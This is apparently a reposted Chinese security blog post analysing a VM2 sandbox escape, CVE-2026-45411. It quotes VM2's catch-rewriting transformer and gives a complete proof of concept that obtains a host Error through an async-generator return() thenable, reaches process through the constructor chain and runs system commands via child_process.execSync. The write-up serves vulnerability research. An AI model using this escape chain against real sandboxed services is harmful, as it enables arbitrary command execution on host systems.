当异常绕过handleException:最新VM2沙箱绕过CVE-2026-45411原理分析

admin 2026-05-16 04:21:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了VM2沙箱最新绕过漏洞CVE-2026-45411的原理,通过异步迭代器和异常处理机制绕过VM2的AST检测,利用V8引擎底层特性实现沙箱逃逸。关键发现包括通过非catch方式获取Error对象、利用异步生成器的return方法触发异常处理流程,最终通过构造函数链获取process对象执行系统命令。该漏洞揭示VM2在非传统异常处理路径上的防御缺陷。 综合评分: 87 文章分类: 漏洞分析,WEB安全,代码审计,安全工具,二进制安全


cover_image

当异常绕过handleException:最新VM2沙箱绕过 CVE-2026-45411 原理分析

原创

YMsora YMsora

YMs0ra的安全漫路

2026年5月14日 22:31 浙江

在小说阅读器读本章

去阅读

很新的重磅CVE,VM2利用底层的V8进行的沙箱逃逸

为此,clone了一份[email protected]的源码

入口是

run(code, options) {
  let script;
  let filename;

  if (typeof options === 'object') {
    filename = options.filename;
  } else {
    filename = options;
  }

  if (code instanceof VMScript) {
    script = code._compileVM();
    checkAsync(this._allowAsync || !code._hasAsync);
  } else {
    const useFileName = filename || 'vm.js';
    let scriptCode = this._compiler(code, useFileName);
    const ret = transformer(null, scriptCode, false, false, useFileName);
    scriptCode = ret.code;
    checkAsync(this._allowAsync || !ret.hasAsync);
    // Compile the script here so that we don't need to create a instance of VMScript.
    script = new Script(scriptCode, {
      __proto__: null,
      filename: useFileName,
      displayErrors: false,
    });
  }

可以看到核心校验在const ret = transformer(null, scriptCode, false, false, useFileName);

code被传入了transformer,

可以看到最上面就导入了const {full: acornWalkFull} = require(‘acorn-walk’);

AST的语法扫描库,动态扫描AST的每一个节点,那看看是怎么进行判断的

acornWalkFull(ast, (node, state, type) => {
        if (type === 'Function') {
            if (node.async) hasAsync = true;
        }
        const nodeType = node.type;
        if (nodeType === 'CatchClause') {
            const param = node.param;
            if (param) {
                if (param.type === 'Identifier') {
                    const name = assertType(param, 'Identifier').name;
                    const cBody = assertType(node.body, 'BlockStatement');
                    if (cBody.body.length > 0) {
                        insertions.push({
                            __proto__: null,
                            pos: cBody.body[0].start,
                            order: TO_LEFT,
                            coder: () => `${name}=${INTERNAL_STATE_NAME}.handleException(${name});`
                        });
                    }
                } else {
                    insertions.push({
                        __proto__: null,
                        pos: node.start,
                        order: TO_RIGHT,
                        coder: () => `catch(${tmpname}){${tmpname}=${INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
                    });
                    insertions.push({
                        __proto__: null,
                        pos: node.body.end,
                        order: TO_LEFT,
                        coder: () => `}`
                    });
                }
            }

当传入的代码有catch error时

为了防止拿到constructor的function方法,这里对于AST树做了push, 改写 catch,

让异常先过 handleException ,当然,promise在bridge.js也做了hook,

在VM2表面的源码来看仿佛是没什么可能性了,

在Promise和异常被ban的情况下,这个CVE揭示了一些新的方向思考

nodejs,以及chrome内核原始的js都是依赖于V8的实现,

这个引擎是C为底层实现的

难点在于我们如何不通过上述的两种方式以调用异常

catch不行,new一个error类也不行,因为类已经经过了净化,这里就可以调用非catch和promise

的方法去获取error对象,请看

class E extends Error {}

function so(d) {
    if (d > 0) so(d - 1);

    const e = new E();
    e.stack;

    throw e;
}

这里传入的d可以是两种结果,当然,

这是尚未经过catch的e

async function* helper() {
    yield* {
        [Symbol.asyncIterator]: () => ({
            next: v => ({ value: v, done: false })
        })
    };
}

async function doCatch(f) {
    const i = helper();

    await i.next();

    const v = await i.return({
        then(r) {
            f();
            r();
        }
    });

    return v.value;
}

(async function f() {
    let min = 0;
    let max = 10000000;

&nbsp; &nbsp;&nbsp;while&nbsp;(min < max) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;mid = (min + max) >>&nbsp;1;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;e =&nbsp;await&nbsp;doCatch(() =>&nbsp;so(mid));

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(e.name&nbsp;===&nbsp;"RangeError"&nbsp;&& !(e&nbsp;instanceof&nbsp;RangeError)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;process = e.constructor.constructor("return process")();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;cp = process.mainModule.require("child_process");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;cmd = process.platform&nbsp;===&nbsp;"win32"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ?&nbsp;"cmd /c echo pwned>pwned.txt"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;"touch pwned";

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cp.execSync(cmd);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"escaped";
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(e&nbsp;instanceof&nbsp;E) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; min = mid +&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; max = mid;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;"not triggered";
})();

so只有两个结果,一个是爆栈,另一个就是抛RangeError.

helper是异步迭代生成器,当一个对象要想有异步迭代iterator

就要有Symbol.asyncIterator

在 const e = await doCatch(() => so(mid));时候doCatch可能会收到RangeError,

然后i.return尝试关闭 generator,并处理传入的 thenable

i.return({
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;then(r) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r();
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; });

这其中是有then方法的,V8会默认调用,then里会执行so(mid),这里可能会抛出的RangeError就会被通过

V8默认调用的方法跑完这个流程,并且赋值给e,

这时已经完成了对VM2的绕过,这里并未利用catch和promise等等方法,拿到e后,

const process = e.constructor.constructor(“return process”)();

至此终了了


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:YMs0ra的安全漫路 YMsora YMsora《当异常绕过handleException:最新VM2沙箱绕过 CVE-2026-45411 原理分析》

评论:0   参与:  0